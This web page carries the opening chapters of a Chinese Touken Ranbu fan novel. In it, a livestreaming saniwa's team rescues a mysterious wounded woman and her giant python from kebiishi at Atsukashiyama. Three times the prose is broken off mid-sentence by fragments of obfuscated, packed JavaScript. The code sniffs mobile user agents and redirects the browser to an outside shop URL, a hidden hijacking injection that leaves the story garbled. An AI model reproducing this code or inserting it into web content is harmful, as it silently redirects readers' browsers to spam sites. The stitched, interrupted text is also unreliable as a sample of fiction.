《小乌的旅行日记》 1. 第一章 空气中弥漫着焦土与硝烟混合的刺鼻气味,脚下的土地呈现出一种不祥的焦黑色,扭曲的枯枝像绝望的手臂伸向灰蒙蒙的天空。 这里是被时间与战火反复蹂躏的厚樫山,代号5-4的区域,也是无数审神者又爱又恨的“资源黑洞”与“希望田野”。 「“来了来了!看看今天主播到底能不能捞到爷爷!” “我赌一个加速符,主播今天不能。” “那我跟一个玉刚。” “加一个木炭。”」 悬浮在代号为“白露”的女性审神者身侧的光屏上,弹幕如同初春的柳絮般纷纷扬扬,带着一股看热闹不嫌事大的欢快气氛。 白露是一位在时之政府直播平台上小有名气的审神者,以攻略高难度区域和(试图)寻找稀有刀剑男士而为人所知。 看着这些常年观看她直播的“损友”们毫不留情的唱衰言论,白露忍不住轻轻咳嗽了一声,试图唤回这帮家伙的注意力。 “咳咳,我还在这里呢,你们就这么当着我的面唱衰?!”白露故作不满地挑眉,对着镜头晃了晃纤细的手指,脸上摆出信心十足的表情,“过分了啊!等着看吧,我有预感,今天一定会有收获!说不定就是爷爷呢?” 说着,白露伸手调整了一下身侧的记录仪,镜头就这样流畅的转向后方,将战后的荒凉破败的景象展现在所有人面前,焦黑的土地、奇形怪状的枯木与空气中尚未完全消散的硝烟味一同构成了阿津贺志山之战特有的苍茫背景。 刚结束一场小规模战斗的刀剑男士们正在白露不远处进行简单休整,源氏的重宝髭切膝丸两兄弟、土方组的和泉守兼定和堀川国广、鹤丸国永以及萤丸各自检查自己的刀装,调整呼吸,他们的身影在惨淡的天光下显得格外利落。 「“新人报道!这就是传说中的5-4吗?” “是它,是它,就是它,我们的‘好朋友’,5-4!” “怎么回事,我怎么跟着唱起来了?!” “在5-4,除了爷爷,你什么都能得到,包括资源的锐减和检非违使的深情问候(点烟jpg.)” “楼上真相了,我在这里泡了三个月,连三日月殿下的衣角都没摸到(大哭jpg.)” “注意看,这个女人名叫白露,正带领她的队伍走向绝望。” “资源-1,温暖-1,希望-1,检非违使+1,完美。” “欢迎新人入职时政,希望在来到5-4之前你的资源箱已经备足(微笑jpg.)”」 白露一边示意队伍向下一个点位谨慎前进,一边分神看光屏上的弹幕,无奈中带着几分习以为常的调侃:“欢迎各位新同僚来到我的直播间,也请老朋友们谨慎下注,理性竞猜,小心配的血本无归哦!” “如各位所见,我们今天挑战的正是‘武家的记忆·厚樫山’,也就是闻名遐迩、让人又爱又恨的的阿津贺志山之战,别名‘老婶伤心地’、‘资源吞噬者’——5-4区域。” 白露稍作停顿,清清嗓子,脸上流露出一丝混合着期待与不好意思的神情:“今天直播的目的主要有两个:其一,是为新入职的同僚做个简单的路线示范和风险提示,毕竟这里环境复杂,又因为同事们的长期滞留导致检非违使出没频繁;这其二嘛……” 白露故意拉长声音,买了个罐子,果然不出所料,光屏上的弹幕瞬间被“爷爷!”“三日月!”“天下五剑!”刷屏。 “没错!”白露笑着肯定,“就是看看我们有没有那份幸运,能在这片著名的‘希望田野’上,邂逅时之政府的看板郎,那位美丽与优雅并存,号称天下五剑中最美的一振——三日月宗近殿下!” 白鹭又俏皮的眨眨眼,补充道:“当然啦,时政提供的直播资源奖励也是我的重要动力,好歹能弥补一下我因限锻而变得空虚的资源箱。” 随即她又正色提醒:“不过要郑重提醒屏幕前的各位,尤其是新人审神者,就像是我之前说的那样,由于审神者队伍在此区域活动异常频繁,检非违使也已经处于高度警觉状态。” “一旦同事们或者刀剑男士们在这里停留时间过长或者灵力波动过大,极易引来这些难缠的时空管理员,所以大家务必要控制作战节奏,即时返回本丸。” 整支队伍保持着高度的警惕,在荒芜的山林间沉默前行,脚下的焦土和碎砾发出沙沙声响,四周寂静得只能够听到风吹过枯枝时发出的呜咽。 但在离开上一处战斗地点一段距离后,走在队伍侧前方带路的髭切却忽然停下脚步,他脸上那惯常的、带着些许迷糊的微笑收敛了,取而代之的是罕见的警惕,他抬起手,掌心向前,示意全员停止前进。 “阿尼甲?”时刻关注着兄长的膝丸立刻压低声音询问,同时他的手已经条件反射般按上了本体的刀柄,身体微微前倾,进入了临战状态。 “诶哆,该怎么说呢?”髭切微微眯起那双蜜糖金色的眼眸,目光如炬,投向不远处一片看起来更为茂密、阴影也更浓重的枯树林,“总觉得哪个方向有什么让人在意的东西呢。” 作为源氏的重宝,髭切那经历过无数战火的直觉有时候比清晰的侦查更能为他预警危险,或许是冥冥之中八幡大菩萨给他的启示? “姬君,要过去查看一下吗?”髭切并没有擅自行动,而是回头看向白露,用他那一贯清缓却反常地带着不容忽视的认真的语气询问,“虽然可能是错觉,但也可能是个‘惊喜’哦。” 白露尚未回答,直播间的弹幕反而先一步炸开了锅: 「“有情况?!主播快看!是不是我家走失的三日月终于找到回家的路了?!” “什么你家的!那明明是我本丸的!” “赌五毛是检非违使蹲点。” “感觉不像,检非通常伴随着更明显的时空扭曲感。” “主播别犹豫!富贵险中求!打赏开路!” “用户‘晚樱’ 打赏了‘资源大礼包’ × 100” “哇!大佬!您本丸的博多藤四郎会哭晕在万屋的吧!” “没关系,我有钱,博多不会管的(微笑jpg.)”」 虽然俗话说“君子不立于危墙之下”,但同样有句话白露觉得说的也挺好——重赏之下必有勇夫,而她就是那个介于“君子”和“勇夫”之间的人,主要是ID为“晚樱”的这位大佬给的实在是太多了。 整整一百份的资源大礼包!那可是整整一百份!这足以让任何一位贫穷的审神者为之心动,毕竟这些打赏足以让本丸的刀剑们滋润好一阵子了,前提是TA不会再一次栽进限锻的坑里面! “好吧,我们过去看看,但务必小心,保持警惕!”白露深吸一口气,做出了决定,即便没有丰厚的打赏,作为经验丰富的审神者,探查战场上的未知情况,评估潜在风险也是她的职责所在。 但在正式行动前,白露依旧面对镜头,神色严肃地给出忠告:“屏幕前的各位,请注意!这仅仅是直播演示!是在我方队伍实力经过评估后采取的行动!” “在实战中,如果你们独自或带领队伍遇到不明情况,首要原则是优先评估自身实力与潜在风险,在绝对确保安全的前提下,才考虑进行极其谨慎的侦查,或者更建议直接规避!” “情报固然重要,但队员们的安全永远是第一位的!请勿轻易模仿我的行动!” 在白露的指挥下,队伍迅速变换阵型,最先察觉到异样的髭切与他的兄弟膝丸作为先锋,一左一右,如同猎豹般悄无声息地迈向那片散发着不祥气息的枯树林。 萤丸与和泉守兼定一左一右护在白露身旁,而堀川国广与鹤丸国永则负责殿后,鹤丸甚至还顺手在队伍刚走过的路径上,布下了几个小巧却实用的预警机关,以防被敌人绕后偷袭。 一行人屏息凝神,悄无声息地潜入枯树林中,越向深处行进,空气中的异样感就愈发明显。之前的战场虽然荒败,但尚有一丝微弱的风声,而这里却死寂得如同坟墓,连空气都仿佛凝固了。 一股混合着泥土腐朽和某种铁锈般的腥甜气息,渐渐在空气中弥漫开来,湿度也明显增加,粘稠地附着在每个人的皮肤上,带来不适感。 走在最前面的髭切再次举起手,所有人瞬间屏息凝神,同时停住脚步,一阵细微却令人脊背发凉的“窸窣”声,从树林更深处传来——那声音,像是某种光滑而坚韧的东西正在缓慢地摩擦过枯枝落叶。 白露打了个手势,众人借助扭曲枯树的掩护小心翼翼的向声源处望去,而眼前的景象也没让人失望,不仅让见惯了战场残酷的刀剑男士们瞳孔微缩,白露更是下意识的捂住嘴,才没让低呼溢出喉咙。 一条体型极为庞大的蟒蛇正用它水桶般粗细的身躯紧紧缠绕着一头强壮的山姥,山姥的骨骼在巨蟒恐怖的压力下不堪重负、逐渐破碎,发出令人牙酸的“嘎吱”声。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751197|189989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >在白露等人到达时,这场狩猎显然已经接近尾声,山姥的挣扎越来越微弱,最终彻底瘫软在地上,失去了所有的生机,而巨蟒幽冷的竖瞳中没有任何情绪波动,只有狩猎者完成捕杀后的本能专注以及即将享用大餐的喜悦。 漂浮在白露身边的记录仪,忠实地记录着这原始而血腥的一幕。直播间的弹幕出现了短暂的真空,仿佛所有观众都在同一时间屏住了呼吸,随即便被无数的惊叹号和疑问所填满。 这条巨蟒的鳞片是一种极为深邃的、接近于墨色的紫罗兰色,深沉得几乎要融入周围的阴影之中。只有在它肌肉贲张、鳞片开合折射出微弱天光时,才能隐约窥见那抹高贵而诡异的色泽。 在昏暗的林间,这条巨蟒盘踞的身影仿佛本身就是一团具有生命的、令人不安的黑暗。 它似乎并未察觉到这群不速之客,只是在耐心地确定猎物死亡后,才缓缓松开缠绕对方的身体,张开那足以吞下整头山姥的巨口,开始缓慢而又艰难的吞咽过程。 白露强压下自己胃部的不适和心头的寒意,迅速打出一连串的手势,示意队伍保持安静,缓缓后撤,面对这种级别的庞然大物,避其锋芒是最明智的选择。 但事情的发展却总是出人意料,巨蟒在将山姥完全吞入腹中后,并未像普通蛇类那样在短暂休息后寻找安全地点静静消化,而是略显笨拙却又目标明确地扭动身躯,向着枯树林深处继续滑行,看起来它的行动带着明确的目的性。[1] “跟上它。”白露当机立断,压低声音下令,髭切之前的感应、这条巨蟒反常的行为、这片区域的诡异氛围,这一切似乎都被一条无形的线串联起来,她有一种强烈的直觉,这条蛇的背后隐藏着重要的线索或秘密。 队伍如同暗夜中的影子远远缀在巨蟒身后,利用地形极力隐藏自己的气息和踪迹。 白露几乎用气音对着记录仪说:“再次强调,现场教学,请勿模仿!跟踪未知生物是危险极高的风险行为!” 巨蟒的行进路线十分迂回曲折,最终在一处被大量枯黄藤蔓和嶙峋怪石半掩住的山壁前停下来,它巧妙地盘绕起庞大的身躯,恰好堵住一个黑黝黝的洞口,同时又能让稀疏的天光落在身上,借此维持消化所需的温度。 “主,山洞里面似乎有人的气息,不过很微弱,感觉要快消失了。”侦查值较高的和泉守兼定眯起眼睛,努力看向幽深的洞口,他的声音中带着不确定,因为那股气息太过虚弱,仿佛风中残烛。 就在白露等人试图寻找更好的观察角度,以便确认洞内情况时,一阵极轻微却令人头皮发麻的“嘶嘶”声,从他们头顶的枯枝上传来。 几条颜色与枯枝几乎无异、细如手指的小蛇,正朝着巨蟒的方向急促地吐着蛇信子,仿佛在传递着什么信息。 仿佛是收到了警报,原本慵懒假寐、专注于消化的巨蟒,猛地将巨大的头颅转向白露他们藏身的方向,那双冰冷的竖瞳瞬间锁定了目标,空气中弥漫开强烈的敌意与警告意味! “准备战斗!”白露低喝一声,刀剑男士们瞬间收缩阵型,将她严密护在中心,刀锋齐出,寒光映照着众人凝重的面孔。 但预想中的狂暴攻击并未立刻到来,巨蟒冰冷的目光逐一扫过严阵以待的众人,最后长久的停留在髭切和膝丸身上,它巨大的头颅微微歪了歪,那双冰冷的竖瞳竟然让人看出一丝人性化的困惑。 「“它在看源氏兄弟?” “为什么偏偏看他俩?源氏和蛇有什么渊源吗?” “那个眼神!我居然从一条蛇脸上看出了‘疑惑’??” “难道这蛇还认人?”」 可能上天觉得双方眼前的麻烦还不够多——天空骤然暗下来,浓重的乌云以肉眼可见的速度汇聚,低沉的雷鸣声中夹杂着空间被强行扭曲、撕裂的刺耳声音,一道道散发着不详黑色雾气、身穿残破甲胄的身影伴随着蓝白色的电弧凭空出现在战场周围。 是检非违使到来了!这些时空的纠错者、无情的管理员,终究还是被长时间停留在此的白露一行所吸引而来! 它们没有理智,没有情感,只会毁灭一切探测到的、不应属于此时此地的“异常”灵力波动——无论是审神者的队伍,还是那条神秘的巨蟒,甚至是山洞中可能存在的生命! “糟了!是检非违使!”鹤丸国永的声音带着真正的惊愕,这次的“惊吓”可一点都不有趣。 战争一触即发! 2. 第二章 检非违使的出现如同在滚烫的油锅中泼入冷水,瞬间打破了厚樫山死寂的平衡,也打断了巨蟒与白露队伍之间微妙的对峙。 刀剑碰撞的锐响、巨蟒被激怒后发出的嘶鸣以及灵力爆发的光芒顷刻间交织在一起,将这片枯树林变成了混乱的战场。 但由于检非违使的数量远超寻常,个体实力也极为强悍,白露的队伍在经历上一场与时间溯行军的战斗后,体力和刀装都有所损耗,而巨蟒则因刚刚饱食,行动略显迟缓。 一时间,战线岌岌可危,众人左支右绌,险象环生。 “这样下去不行!”和泉守兼定挥刀挡开一道攻击,呼吸已变得急促,额角渗出汗珠,“它们的数量太多了,而且完全不知道疲倦!” “必须想办法打破僵局!”堀川国广紧随其后,手中的胁差灵巧地刺穿一名检非违使的咽喉要害,但更多的敌人立刻补上空缺,攻势如同潮水般绵延不绝。 一名检非违使抓住萤丸一次重击后回收的短暂间隙,手中凝聚着不祥黑光的长枪,直刺向因连续作战而略显疲惫、动作慢了半拍的髭切,想要驰援的膝丸却被另一名敌人死死缠住,目眦欲裂。 “兄长——!” “铛!” 在这千钧一发之际,一道暗金色的流光自被巨蟒守护的山洞深处射出,那光芒并不耀眼夺目,却带着一种斩断一切的极致锐利,以及一种凝练而强大的灵力波动,精准无比地撞击在检非违使长枪上。 巨大的力道使得长枪轨迹猛地一偏,擦着髭切的衣袖掠过,只割裂了一小道口子,并未造成实质伤害。 “阿尼甲!”膝丸奋力格挡开纠缠自己的敌人,惊魂未定地冲到髭切身边,脸上写满了后怕。 “啊呀,真是好险呢。”髭切轻轻拍了拍被划破的衣袖,语气依旧是他惯有的平淡,甚至带着点事不关己的意味,但与他平淡语气形成鲜明对比的,是他那双总是带着几分慵懒笑意的蜜糖色眼眸——此刻,这双眼眸精准地投向了那幽深的山洞内部。 长久的战争经验告诉他,方才那一击无论是捕捉时机的精准、角度的刁钻,还是其中蕴含的、远超寻常审神者的凝练灵力,都绝非寻常之辈所能为。 至少他现在的审神者白露,纵然在时之政府内部已算是颇有名气的武系审神者,也绝无可能射出如此惊才绝艳的一击。 白露也瞬间明悟,洞口那条威势惊人的巨蟒,恐怕并非单纯的守护兽,它真正守护的,是此刻隐匿于山洞深处、发出了这关键一击的存在。 虽然敌友未明,但对方出手救了髭切,这本身就是一个清晰的信号——在对抗检非违使这共同的、无差别的威胁面前,他们至少是暂时的同盟。 “掩护山洞!不能让对方腹背受敌!”白露立刻改变作战指令,声音清晰而果断,尽管不知道对方是敌是友,但眼下检非违使是他们共同的敌人,而山洞之中的存在已经表明了态度。 “了解!”众人齐声应道,作战队形也随之变换,从之前单纯的防御状态转变为有意识地向山洞入口处靠拢,与盘踞在洞口的巨蟒形成微妙的犄角之势,互相支援,共同抵御检非违使的围攻。 巨蟒似乎也理解了白露的意图,庞大的身躯再次猛地一扫,将试图靠近洞口的检非违使狠狠扫飞,它那双冰冷的竖瞳也再次扫过众人,尤其在扫过源氏兄弟时,那抹困惑似乎更深了些,但在行动上,它已经将白露一行人暂时划入了需要协同防御的范畴。 但检非违使依旧依靠数量占据优势,他们没有恐惧、不知疲倦,攻击如同潮水般绵延不绝,鹤丸之前布下的预警机关已经被接连触发、摧毁,敌人的包围圈仍在不断缩小,压力巨大。 就在战线即将被突破的危急时刻,山洞深处那股微弱的气息开始攀升,尽管依旧飘摇得如同风中残烛,但却带着破釜沉舟的决绝。 空气中,一股庞大的灵力逐渐开始凝聚起来,但这股灵力却与审神者们平时手入刀剑时的灵力截然不同,反而给人一种给古老、更原始的感觉,带着一股风雨欲来的压抑感,仿佛来自久远的时代前。 紧接着,数道比之前更加凝实、颜色更深的暗金色流光自山洞深处呼啸而出,这些流光并非盲目散射,而是精准锁定了违非检使能量核心中最脆弱的节点,并且一击必中。 被击中的检非违使动作瞬间僵直,体表幽蓝色的电弧疯狂乱窜,内部发出令人牙酸的碎裂声,随后便如同被抽掉骨架般迅速瘫软、消散。 这波精准而又致命的打击瞬间缓解了战线的压力,检非违使的数量锐减,虽然他们的攻势依旧猛烈,但仍然让髭切等人身上的防御压力一轻。 “机会!”白露敏锐地捕捉到了战机的转变,“全力反击!” “哦哦!终于可以放开手脚了吗?”鹤丸国永精神为之一振,手中的本体划出华丽的弧线,话音未落,他就已经像白鹤一般掠出,刀光直冲一位检非违使的头颅而去。 膝丸、和泉守兼定、堀川国广、萤丸、髭切也纷纷爆发,配合着山洞中不时射出的、越来越稀疏却依旧精准的光箭以及巨蟒势大力沉的物理扫荡,终于将剩余的检非违使逐一击破。 当最后一名检非违使成为髭切的刀下亡魂时,天空中的乌云开始缓缓散去,令人窒息的空间扭曲感也随之消失,厚樫山再次恢复死寂,只留下满地狼藉和空气中尚未散尽的硝烟味。 战斗终于结束了,几乎所有人都下意识地松了一口气,紧绷的神经稍稍放松,连续的高强度战斗让所有人都感到疲惫,但更多的却是劫后余生的情形。 在这种情况下,所有人的目光却不由自主地、带着紧张、好奇与探究,齐齐投向了那个幽深的山洞入口。 那条巨蟒此刻正将巨大的头颅探入洞内,发出低低的、带着明显焦灼和担忧情绪的“嘶嘶”声,似乎正在与洞内的存在急切交流。 它完全无视了洞外刚刚并肩作战的白露一行人,那盘踞在洞口、略显紧绷的姿态,甚至隐隐透露出几分显而易见的警惕与嫌弃,用实际行动告诉其他人“麻烦已经解决,你们可以走了”。 白露示意队员们在保持警惕的同时也不要漏出敌意,上前几步,在距离洞口尚有数米远的地方站定,深吸一口气,用尽可能平稳无害的语气和洞口内的人交流。 “感谢阁下刚才出手相助,若非阁下关键时刻伸出援手,我的队员恐怕已遭不测。” “我们是时之政府的审神者和其麾下的刀剑男士,来此执行巡查任务,并无恶意。阁下似乎身受重伤,此地刚刚经历战斗,恐不安全,是否需要我们的帮助?” 山洞内陷入一片沉默,只能听到巨蟒越发焦灼的吐信声,以及它用头颅轻轻摩擦洞壁的声音,似乎在催促着什么。 片刻后一个极其虚弱却异常清晰的女声传出来,声音不大,却足以让所有人听清楚:“无碍,只是给你们添麻烦了。” 话音未落,一个虚弱的身影扶着洞壁踉跄地出现在洞口的光线交界处。 那是一位身穿以深红为底、点缀纯白碎花,并以浓紫宽腰封束起袿袴的女性,此刻那身华美的服饰却沾满了尘土。 她的脸色苍白如纸,嘴角还残留着未擦净的血迹,一头长发以公主切式样垂下,但原本梳理整齐的发髻已然散乱,几缕带着醒目红挑染的发丝已经被汗水浸湿,正凌乱地贴在她汗湿的额前与脸颊 最令人印象深刻的是她那双灰蓝色的眼睛,如同雨前的天空,即使在如此虚弱、随时都会晕厥的状态下,依旧保持这一种近乎冷酷的冷静和洞悉一切的疏离感。 「“哇!出来了!出来了!” “这装扮不是巫女服,那她为什么会使用灵力?” “脸色太差了,让人看着都心疼!” “重点是她刚才超帅的啊!简直要把我掰弯了!” “别光看着啊,没看见她嘴角还没擦干的血迹吗?!快想办法救人啊!” “巨蟒看起来很着急的样子。” “快别聊了!想办法救人啊!!!”」 白露见状,心知对方已是强弩之末,完全是在靠意志力硬撑:“阁下伤得很重,灵力波动也十分紊乱,此地绝非久留之地,毕竟检非违使虽暂退,但难保不会引来更多。” “如果不介意的话,请随我们返回时之政府的医疗机构进行治疗,那里有最完善的设备和专业的医疗审神者,很安全。” 那位自称“凤黯”的女子——或者说真名叫做源朝曦的女子,用那双灰蓝色的眼睛静静扫过白露和她身后虽然疲惫却依旧站得笔直的刀剑男士们,目光沉静如水,似乎在评估这群人的可信度。 源朝曦的视线在髭切和膝丸身上略有停留,速度快的让人无法察觉,眼底深处闪过的那一丝难以捕捉的波动也很快消散,恢复了最初的疏离与冷漠。 巨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751198|189989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蟒巨大的头颅轻轻蹭了蹭她的手臂,发出更为焦灼的“嘶嘶”声,显然极为担心她现在的状态,源朝曦抬手,有些无力的拍拍它它冰凉坚硬的鳞片,声音微弱却带着安抚的意味:“宵雾,我没事。” 源朝曦似乎还想说些什么来婉拒白露的提议,但比话语先一步到来的,是一阵压抑不住的、撕心裂肺的轻咳。苍白的脸颊因此泛出一丝不正常的红晕,嘴角那抹尚未擦净的血迹变得更加鲜艳刺目。 她用手背抵住唇,身体不受控制地微微颤抖,缓了好几秒,才用那虚弱但依旧清晰的声音断断续续地回答:“多谢你们的好意,不过我们并不需要。” 但任谁都能看出她几近油尽灯枯,强撑着站立的身躯开始不受控制地微微摇晃,仿佛随时都会倒下,那双灰蓝色的眼眸也在迅速黯淡下去。 宵雾变得更加焦躁不安,巨大的头颅不安地摆动着,猩红的信子频繁吐出,发出急促的“嘶嘶”声,那双冰冷的竖瞳紧紧锁定在白露等人身上,充满了警告与不信任。 白露眉头微蹙,正想继续劝说,却见凤黯身体猛地一晃,一直强撑着的精神仿佛瞬间被抽空,那双灰蓝色眼眸中的神采急速黯淡下去。她甚至没能再说出一个字,便双眼一闭,直直地向前倒去。 “阁下!” “主人小心!” 惊呼声同时从白露和刀剑男士们口中响起,距离最近的巨蟒宵雾反应最快,巨大的头颅猛地一低,用最柔软的额顶部位小心翼翼地托住源朝曦软倒的身体,避免了她直接摔在坚硬地面上的二次伤害。 它焦急地嘶鸣着,用头颅轻轻拱着昏迷不醒的主人,却得不到任何回应。 白露一个箭步上前,但并未贸然触碰,而是迅速蹲下检查源朝曦的生命体征,指尖触及的皮肤一片冰凉,呼吸微弱而急促,灵力的波动更是混乱不堪,仿佛风中残烛,随时可能熄灭。 “情况很糟,内伤极重,灵力几乎枯竭,还有时空乱流侵蚀的痕迹!”白露脸色凝重,当机立断,“必须立刻进行救治!否则有生命危险!” 她抬头看向焦躁不安的宵雾,用尽量平稳、真诚的语气说道:“宵雾,对吗?你的主人,凤黯阁下需要立刻接受专业的治疗,否则……请相信我们,我以审神者的名义起誓,绝无恶意,只想救人。” 宵雾那双冰冷的竖瞳紧紧盯着白露,又看了看怀中气息奄奄、昏迷不醒的主人,巨大的身躯因为焦躁而微微扭动,似乎在进行激烈的思想斗争,最终它巨大的头颅极其轻微地点了点。 它明白,单靠自己的力量,根本无法挽救主人濒临崩溃的生命,此刻不过是依靠彼此间的契约在强行维系着源朝曦最后一缕生机不散。 “卡内桑、堀川,麻烦你们在前面开路,注意警戒;鹤先生、萤丸,负责侧翼;髭切、膝丸,麻烦你们殿后。”白露松了口气,立刻开始安排。 说着,白露又迅速从随身携带的应急包中取出时政特制的强效止血符和稳定灵力的药剂,小心翼翼地敷在凤黯最严重的几处伤口上,暂时稳住她不断恶化的状况。 “宵雾,你能缩小体型吗?毕竟我们需要将凤黯阁下移动到一个更便携的地方。” 话音未落,宵雾身上便泛起一阵朦胧的微光。庞大的身躯以肉眼可见的速度迅速缩小,最后变成了一条仅比成人手腕略粗、长约两米的蟒蛇,依旧稳稳地让源朝曦靠在它身上。 直到和泉守兼定在白露的示意下,小心地将昏迷的源朝曦背起后,宵雾才再次缩小,最终变成手环大小,如同一个精致的紫黑色镯子,紧紧缠绕在源朝曦的手腕上,鳞片在微弱光线下闪烁着幽光。 由于源朝曦情况危急,白露直接动用了审神者的紧急权限,开启直通时政医疗中心的快速空间通道,一阵短暂的时空转换眩晕感后,众人出现在了时政医疗中心灯火通明、充满消毒水气味却让人安心的大厅里。 早早等候在此的医疗人员和穿着白大褂、身上散发着温和灵力的医疗性式神立刻围了上来,小心地从和泉守兼定背上接过昏迷不醒的源朝曦,将她安置在移动病床上,在各种检测仪器的环绕下迅速推向急救室。 急救室的门缓缓关闭,将白露和刀剑男士们隔绝在外,走廊里一时间陷入沉寂,只能听到众人略显急促的呼吸声,连续的战斗和紧张奔波让大家都有些疲惫,但更多的是一种对未知的担忧。 等待的时间,格外漫长。 3. 第三章 时政医疗中心的走廊被设计得宽阔而明亮,柔和的光线从天花板上均匀洒落,避免了任何可能刺激到伤员或疲惫人员的眩光,空气中飘散着淡淡的消毒水气味,并不刺鼻,反而带着一种洁净、安心的氛围。 墙壁是柔和的米白色,脚下是静音防滑的地板,每隔一段距离还摆放着绿意盎然的盆栽,一切细节都旨在营造一个能让人情绪舒缓的环境。 但此刻站在急救室外的白露和她的刀剑男士们,却丝毫无法被这种环境安抚。紧张和担忧如同无形的蛛网,缠绕在每个人的心头。 他们刚刚经历了一场厚樫山的恶战,紧接着便是争分夺秒的救援和并不轻松的空间转移,无论是身体还是精神都消耗巨大。 和泉守兼定靠在墙上平复喘息,堀川国广正在仔细检查自家兼先生的衣物是否有破损,鹤丸国永难得安静下来靠在另一边,白色的衣服上沾染了些许尘土和血迹。 萤丸坐在走廊的长椅上闭目养神,髭切和膝丸兄弟两个则站在稍远一些的地方,低声交谈着,目光时不时扫过紧闭的急救室大门。 白露靠在墙上,眉头微蹙,脑海中不断回放着厚樫山发生的一切——被称作“宵雾”的巨蟒、自称“凤黯”的神秘女性,可这个称呼一听就是代号,还有她穿着的那身非制式的复古服饰、强大的灵力、精准无比的箭法……这一切都充满了谜团。 而不远处正在交谈的髭切膝丸两兄弟也在回想刚才的画面,特别是源朝曦出现时那短暂停留在他们兄弟身上的目光。 “阿尼甲,刚才那位姬君看我们的眼神您注意到了吗?虽然很快,但我总觉得有些奇怪。” 髭切脸上依旧是他那标志性的、略带迷糊的表情,但眼神中却透着思索,用一种不确定的语气推测:“嗯,是呢,那位姬君是有点儿在意我们的样子,大概是因为我们源氏刀比较少见?不过那种灵力感觉好像在哪里遇到过类似的,到底是什么呢?” 话虽这么说,但髭切的直觉却告诉他绝对不是因为源氏刀比较少见,那位自称为“凤黯”的神秘女子身上散发的灵力总让他有一种模糊的、难以名状的熟悉,仿佛隔着一层薄纱触摸旧物,轮廓依稀可辨,细节却混沌不清。 髭切试图在漫长的记忆中寻找线索,但那种熟悉感如同滑溜溜的游鱼,每当他觉得自己快要触及时,便倏然一摆尾,从他思维的指缝间悄然溜走,只留下一圈逐渐扩散、却无法抓住实体的涟漪。 直到许久后时政正式与异世界的时政建交,开始有限的互通消息,髭切才猛然警觉,原来当时挥之不去的熟悉感并不仅仅是源于对方对源氏刀剑的了解、在意,更有一部分是因为同位体髭切在她身上设下的保障,不过这些都是后话了。 就在这片压抑的寂静和各自翻涌的思绪中,一阵轻微的议论声从走廊的另一端传来,几位看似是其他本丸的审神者或者是时政内部的工作人员路过。他们看到白露和这一队明显刚经历苦战、身上带着痕迹的刀剑男士,都不由得多看了几眼,随即交头接耳,低声交谈起来。 “听说了吗?刚才急救室送进去一位重伤的,穿着很古老样式的衣服,好像不是我们时政体系的人……” “看到了看到了,是被白露大人从厚樫山带回来的?还跟着一条很有灵性的大蛇?” “厚樫山?5-4?那里除了时间溯行军和检非,还能有什么?怎么会受那么重的伤?” “不清楚啊,感觉很有故事的样子……” 白露叹口气,虽然知道这件事很快就会在审神者之间传开,但也没有预料到会这么快,她打开随身携带的通讯器,连上时政内部的交流论坛,果然,相关的帖子已经被顶成了热门: [hot]【八卦】惊!目睹一位穿着非制式复古服饰、红发挑染的绝世美人被紧急送入医疗部!气质绝佳但伤势极重!身边还跟着一条通人性的紫色小蛇!有谁知道这位的来历吗?求扒! [新]【理性吃瓜】汇总一下关于今日厚樫山异常检非浪潮与神秘灵力的所有传闻与合理猜测(持续更新ing) [新]【求解惑】今天厚樫山的检非潮是不是有隐情?远远看到不属任何已知部队的灵力光芒,很强但感觉快熄灭了 帖子下面的回复已经盖起了高楼,各种猜测、讨论层出不穷,有惊叹源朝曦容貌和气质的,有好奇宵雾来历的,有分析厚樫山异常原因的,也有担心伤者情况的,但核心都指向这位神秘而强大的女性——凤黯,或者说他们尚且不知道真名的源朝曦。 “看起来想低调处理这件事是不可能了。”白露揉揉眉心,感觉有些头疼,现在她必须尽快向时政提交一份详细的任务报告,说明此次事件的经过,天知道她最讨厌的就是写这些格式严谨、措辞必须滴水不漏的官方报告! 光是想想那些需要填写的表格和需要厘清的细节,白露就觉得前途无望,更不要说时时刻刻会帮婶婶的压切长谷部、可能会心软的山姥切长义都没在队伍中,这就意味着只能婶婶自己写! 源朝曦的存在和她的伤势显然已经不是简单的野外救援事件所能涵盖,其背后可能牵扯到更复杂的东西,但还是那句话,社畜不想写报告啊! 就像之前说过的那样,等待的时间格外漫长,期间有护士出来过一次,告知正在撰写报告的白露,虽然伤者的生命体征在灵力的维持下暂时稳定住了,但情况依旧不容乐观。 尤其是源朝曦体内的伤势混杂着狂暴的时空乱流能量,常规的治疗手段对她来说效果甚微,需要专家会诊后才能确定下一步方案。 数小时后,急救室门上的红灯终于熄灭了,一位身穿白色长袍、神色疲惫但眼神温和的中年女性从急救室内走了出来,她是一位资深的医疗审神者,也是本次抢救的负责人。 “情况怎么样?”白露立刻迎上前去,关切的询问,而医生口中暂时脱离生命危险的话也让白露和刀剑男士们松了一口气。 “但她的情况非常特殊,也非常复杂,体表的伤势倒是其次,主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 